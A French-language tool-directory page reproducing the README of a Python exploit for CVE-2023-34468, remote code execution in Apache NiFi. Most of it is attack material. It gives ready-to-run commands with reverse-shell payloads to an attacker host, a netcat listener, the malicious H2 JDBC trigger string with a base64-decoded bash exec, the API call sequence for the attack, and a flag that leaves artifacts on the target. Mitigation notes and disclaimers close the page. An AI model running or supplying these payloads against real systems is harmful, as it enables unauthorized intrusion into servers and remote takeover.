Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2023-34468 — CVE-2023-34468 - PoC RCE Apache NiFi H2 | Kitploit
Outils/GitHubGitHub/jeanpt/cve-2023-34468
Analyse des VulnérabilitésExploitationExploitation d'Applications WebTests d'IntrusionApprentissage et ÉducationDéveloppement de Charges Utiles
GitHubjeanpt/cve-2023-34468

CVE-2023-34468

CVE-2023-34468 - PoC RCE Apache NiFi H2

Voir le dépôt
14il y a 4 moisPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

Exploit CVE-2023-34468

GitHub stars GitHub license

Aperçu

Ce dépôt fournit un outil d'exploitation basé sur Python pour CVE-2023-34468, une vulnérabilité critique d'exécution de code à distance (CVSS 9.8) dans Apache NiFi versions 0.0.2 à 1.21.0. Il permet aux utilisateurs authentifiés d'exécuter du code arbitraire en manipulant les chaînes de connexion de la base de données H2 avec des triggers intégrés.

⚠️ Avertissement : À des fins éducatives et de test autorisé uniquement. L'accès non autorisé aux systèmes informatiques est illégal.

Détails de la vulnérabilité

  • ID CVE : CVE-2023-34468
  • Versions affectées : Apache NiFi 0.0.2–1.21.0
  • Impact : Exécution de code à distance (RCE)
  • Score CVSS : 9.8 (Critique)
  • Date de découverte : 12 juin 2023
  • Description : Les services de contrôleur DBCPConnectionPool et HikariCPConnectionPool permettent aux utilisateurs de configurer une URL de base de données avec le pilote H2 qui permet l'exécution de code Java arbitraire via la fonctionnalité CREATE TRIGGER de H2. Lorsqu'une connexion est initialisée, du code JavaScript intégré s'exécute avec les privilèges de NiFi.

Prérequis

  • Python 3.7+
  • bibliothèque requests
Télécharger l’outil
  • Accès réseau à l'API NiFi (port par défaut 8080 ou 8443)
  • Instance NiFi cible sans authentification OU avec des identifiants valides
  • Configuration d'un écouteur pour reverse shell (par ex., nc -lnvp 5555)
  • Démarrage rapide

    Cloner et installer

    root@kitploit:~
    git clone https://github.com/Jeanpt/CVE-2023-34468.git
    cd CVE-2023-34468
    pip install -r requirements.txt
    

    NiFi non authentifié (aucun identifiant requis)

    root@kitploit:~
    # Start your listener
    nc -lnvp 5555
    
    # Run the exploit — auth is auto-detected, no flags needed for open instances
    python3 exploit.py \
      -t http://nifi.target.com:8080 \
      -c "bash -i >& /dev/tcp/ATTACKER_IP/5555 0>&1" \
      -lh ATTACKER_IP \
      -lp 5555
    

    NiFi authentifié (nom d'utilisateur/mot de passe)

    root@kitploit:~
    python3 exploit.py \
      -t https://nifi.target.com:8443 \
      -c "bash -i >& /dev/tcp/ATTACKER_IP/5555 0>&1" \
      -lh ATTACKER_IP \
      -lp 5555 \
      -u admin -p password123
    

    NiFi authentifié (jeton Bearer)

    root@kitploit:~
    python3 exploit.py \
      -t https://nifi.target.com:8443 \
      -c "bash -i >& /dev/tcp/ATTACKER_IP/5555 0>&1" \
      -lh ATTACKER_IP \
      -lp 5555 \
      --token <your_bearer_token>
    

    Ignorer le nettoyage (laisser des artefacts sur la cible)

    root@kitploit:~
    python3 exploit.py -t http://target:8080 -c "..." -lh ATTACKER_IP -lp 5555 --no-cleanup
    

    Toutes les options

    root@kitploit:~
    python3 exploit.py --help
    
    CommandeDescription
    -t, --targetURL de l'instance NiFi cible (requise)
    -c, --commandCommande à exécuter (requise)
    -lh, --lhostHôte de l'écouteur pour le rappel (requis)
    -lp, --lportPort de l'écouteur pour le rappel (requis)
    -u, --usernameNom d'utilisateur NiFi (instances authentifiées)
    -p, --passwordMot de passe NiFi (instances authentifiées)
    --tokenJeton Bearer (instances authentifiées)
    --no-cleanupIgnorer le nettoyage après exploitation
    --delaySecondes à attendre avant le nettoyage (défaut : 10)
    --driver-pathChemin du fichier jar du pilote H2 (omis par défaut)

    Vérification : Vérifiez votre écouteur pour la connexion reverse shell. Exécutez id pour confirmer l'exécution du code.

    Comment ça fonctionne (Détails techniques)

    Flux d'attaque

    1. Reconnaissance : Identifier la version de NiFi via /nifi-api/system-diagnostics
    2. Créer un service DBCP : POST de la chaîne de connexion H2 malveillante vers /nifi-api/process-groups/root/controller-services
    3. Créer un processeur : POST du processeur ExecuteSQL vers le même groupe de processus
    4. Configurer le processeur : Associer le processeur au service DBCP malveillant
    5. Activer le service : PUT vers /nifi-api/controller-services/{id}/run-status avec l'état ENABLED
    6. Déclencher l'RCE : PUT vers /nifi-api/processors/{id}/run-status avec l'état RUNNING — le trigger H2 se déclenche lors de la connexion

    Structure de la charge utile H2

    root@kitploit:~
    jdbc:h2:file:/tmp/{random_db}.db;TRACE_LEVEL_SYSTEM_OUT=0\;CREATE TRIGGER {random_name}
    BEFORE SELECT ON INFORMATION_SCHEMA.TABLES AS $$//javascript
    java.lang.Runtime.getRuntime().exec('bash -c {echo,BASE64_PAYLOAD}|{base64,-d}|{bash,-i}')
    $$--=x
    

    Points clés :

    • Échapper le point-virgule avec un backslash : \;
    • JavaScript se déclenche sur BEFORE SELECT ON INFORMATION_SCHEMA.TABLES (déclenché automatiquement)
    • Encoder la charge utile en Base64 pour éviter les problèmes de caractères spéciaux
    • Les signes égal de remplissage sont remplacés par des espaces pour éviter les problèmes d'analyse H2

    Exemples de charges utiles

    Reverse Shell

    root@kitploit:~
    # Run exploit directly
    python3 exploit.py -t http://target:8080 -c "bash -i >& /dev/tcp/10.10.16.46/5555 0>&1" -lh 10.10.16.46 -lp 5555
    

    Exécution de commande

    root@kitploit:~
    python3 exploit.py -t http://target:8080 -c "touch /tmp/pwned" -lh 127.0.0.1 -lp 5555
    

    Atténuation

    • Mise à jour : Mettre à niveau vers Apache NiFi 1.22.0 ou ultérieur
    • Contrôle d'accès : Restreindre l'accès à l'API NiFi via pare-feu/WAF
    • Authentification : Activer et imposer l'authentification sur NiFi
    • Surveillance : Alerter sur les configurations de service de contrôleur inhabituelles
    • Segmentation réseau : Isoler NiFi des réseaux non fiables

    Références

    • NVD - CVE-2023-34468
    • Apache NiFi Security Advisory
    • NIFI-11653 - Issue Tracker
    • Apache Mailing List Discussion

    Avertissement

    Cet outil est fourni uniquement pour la recherche en sécurité et les tests autorisés. L'auteur n'est pas responsable de l'utilisation abusive ou des dommages causés par cet exploit. Testez toujours de manière responsable dans des environnements autorisés uniquement.

    Crédits

    • Découverte : Matei "Mal" Badanoiu
    • Module Metasploit : h00die
    • POC Python : Jean

    Licence

    Licence MIT - Voir le fichier LICENSE pour plus de détails


    Conçu pour la recherche en sécurité et les tests d'intrusion autorisés.

    Sujets : apache-nifi h2-database rce exploit cve-2023-34468 python security-research